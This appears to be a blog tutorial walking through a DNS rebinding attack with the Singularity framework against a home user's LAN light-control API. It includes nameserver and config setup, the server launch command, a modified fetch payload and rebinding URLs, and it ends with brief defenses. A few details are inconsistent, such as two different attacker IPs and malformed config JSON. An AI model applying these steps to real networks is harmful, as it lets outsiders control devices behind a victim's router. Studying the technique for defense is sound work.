Introduction
If nothing else, Singularity is a great tool for anyone who wishes to grasp on the world of DNS Rebinding. Here we’ll go through a quick practicle example on how you can use it, a very short and staightforward DNS Rebind attack (ideal conditions). If you need additional info, check posts related to installation process and DNS rebinding:
- DNS Rebinding Attack Framework – Singularity
- DNS Rebinding – Behind The Enemy Lines
- DNS Rebinding with Singularity [YouTube DEMO]
DNS Rebinding with Singularity: Let there (NOT) be a light
Instead of just fetching the localhost main page, we’re going to “hit” some home user’s light control. We’re familiar with his network architecture and we know his IoT Home Control server IP Address. He has naively set a simple php page, “only” accessible from computers in his LAN. It simply uses GET
request to manage the light(s) in the house. To turn on :
http://192.168.1.100/light.php?p=on
[{"success":{"/lights/2/state/on":true}}]
or off :
http://192.168.1.100/light.php?p=off
[{"success":{"/lights/2/state/on":false}}]
Nameserver Configuration
We need to have a target domain under your control (singularity-rebind.tk
in this example) including DNS control for that domain (in domain provider DNS management specify your nameserver).
DNS propagation might take some time. Please revisit DNS Rebinding – Behind The Enemy Lines for general insights and possible problems (DNS caching info).
To speed things up, in this example we’re going to “adjust” victim’s DNS manually. We’re going to use attackers nameserver (/etc/resolv.conf
): 192.85.21.74. We can also use chrome://net-internals/#dns
to speed the process further by using “Clear host cache”.
Singularity Adjustments
In this example we’re going to use payload-simple-fetch-get.html
to quickly make/adjust our own payload-light-attack.html
with one minor difference, instead of fetching the main page fetch('/')
we want to aim fetch('/light.php?p=on')
. We’re also going to add light.php
to singularity html folder to avoid 404 errors:
"<!--thisismytesttoken--><!doctype html><title>Custom page A custom page</title>, remote alternative/replacement for victim's target page
"
Before we continue, we’ll adjust manager-config.json
(you can use to add your payload to the attackPayloads
list):
$ nano html/manager-config.json
"attackHostDomain": "singularity-rebind.tk",
"attackHostIPAddress": "192.95.21.74",
"targetHostIPAddress": "192.168.1.x",
"dummyPort": 4000,
"interval": 5,
"attackPayloads": [{
{
"name": "payload-light-attack.html",
"ports": []
}
...
Make sure you don’t have anything running on port 53 (like systemd.resolved
service).
Singularity Manager
To start manager, run:
./singularity-server --HTTPServerPort 80 --ResponseIPAddr 192.95.21.74 --ResponseReboundIPAddr 192.168.1.100
Parameters:
- HTTPServerPort: Manager port
- ResponseIPAddr: Attacker host IP address
- ResponseReboundIPAddr: Victim’s local address we’re targeting
- responseReboundIPAddrtimeOut: Delay in seconds for which we will keep responding with Rebound IP Address after the last query. After dealy we will respond with ResponseReboundIPAddr.
The previous command is going to start HTTP (manager) and DNS servers. Now, when we jump to our singularity-rebind.tk/manager.html
we’ll see that the manager is up with all of the previous adjustments we made, ready to be started:
On “Start Attack” manager by default starts fetching “attackFrame” from the url (in this case):
s-<ATTACK_HOST-<TARGET_HOST>-<random_number>--e.singularity-rebind.tk
based on the hosturl/processing template defined in manager.js
and attack payload:
let hosturl = "http://s-%1-%2-%3-%4-e.%5:%6/%7";
...
function reloadAttackFrameOne() {
document.getElementById("attackframeone").src = hosturl
.replace("%1", document.getElementById("attackhostipaddress").value)
.replace("%2", document.getElementById("targethostipaddress").value)
.replace("%3", Math.floor(Math.random() * Math.floor(Number.MAX_SAFE_INTEGER)))
.replace("%4", "")
.replace("%5", document.getElementById("attackhostdomain").value)
.replace("%6", document.getElementById("targetport").value)
.replace("%7", document.getElementById("payloads").value) +
"?rnd=" + Math.random();
}
DNS Rebinding Process
We’re interested in /light.php
so inside “payload-light-attack.html
” we’ve set fetch (‘/light.php?p=off
‘). The line that will trigger API call on victim’s Home Control server. Singularity manager will start fetching that line in specified interval (Toggle advanced options):
http://s-192.95.21.74-192.168.1.100-3631244103655809--e.singularity-rebind.tk/light.php?p=off
By looking at the chrome://net-internals/#dns
, we can see that the domain still has “server” IP Address.
After a while or by clearing chrome host cache, browser will again ask DNS server to resolve s-192.95.21.74-192.168.1.100-3631244103655809--e. singularity-rebind.tk
. So, with DNS expiration, browser will again ask OS to resolve that domain and OS will ask attacker’s DNS (placed in purpose as main OS nameserver) or in this case Singularity DNS running there. On the first request, singularity provided the “right” IP, but with sequential ones it will provide local IP Address of the target.
With this new IP in place, request that was called in specified intervals ( http://s-192.95.21.74-192.168.1.100-3631244103655809--e.singularity-rebind.tk/light.php?p=off
) will now call LAN server instead of real singularity-rebind.tk
. To simplify it even more, we’ll replace domain names with IP addresses. Initialy, page (singularity manager) was calling this URL:
http://192.95.21.74/light.php?p=off
but when browser cached expired, from the perspective of the victim and with new IP, page (singularity manager) is now calling:
http://192.168.1.100/light.php?p=off
How do we detect when that interval attackerFrame
function loads the right page (the target)? That’s why we have “Index token”. If index token is present on the page, default/server page is loaded, if it’s not, target was loaded. In this case, the light.php
page we have on our server contains “<!--thisismytesttoken-->
“, targeted API does not.
With browser cache updated and token in place, attack was successfully executed. The Home Control API responded with:
Attack Successful: singularity-rebind.tk Server response:
[{"success":{"/lights/2/state/on":false}}]
[DEMO]
Conclusion
People frequently neglect this technique due to its unreliability, but as we mentioned, it might come in handy. To prevent these types of attacks you could try and validate “Host” HTTP Headers, extend DNS caching, enable Chrome internal DNS or prevent 127.0.0.1 or 192.168.x.x resolving.
Singularity is a good tool, maybe a bit confusing, but nonetheless usefull. If nothing else, it demonstrates the dangers and vulnerabilities you might not have been aware of. Add phishing to the mix, and you’ll get a great cocktail. Singularity has enough options and example payloads for anyone to play with. I’ll leave them to you.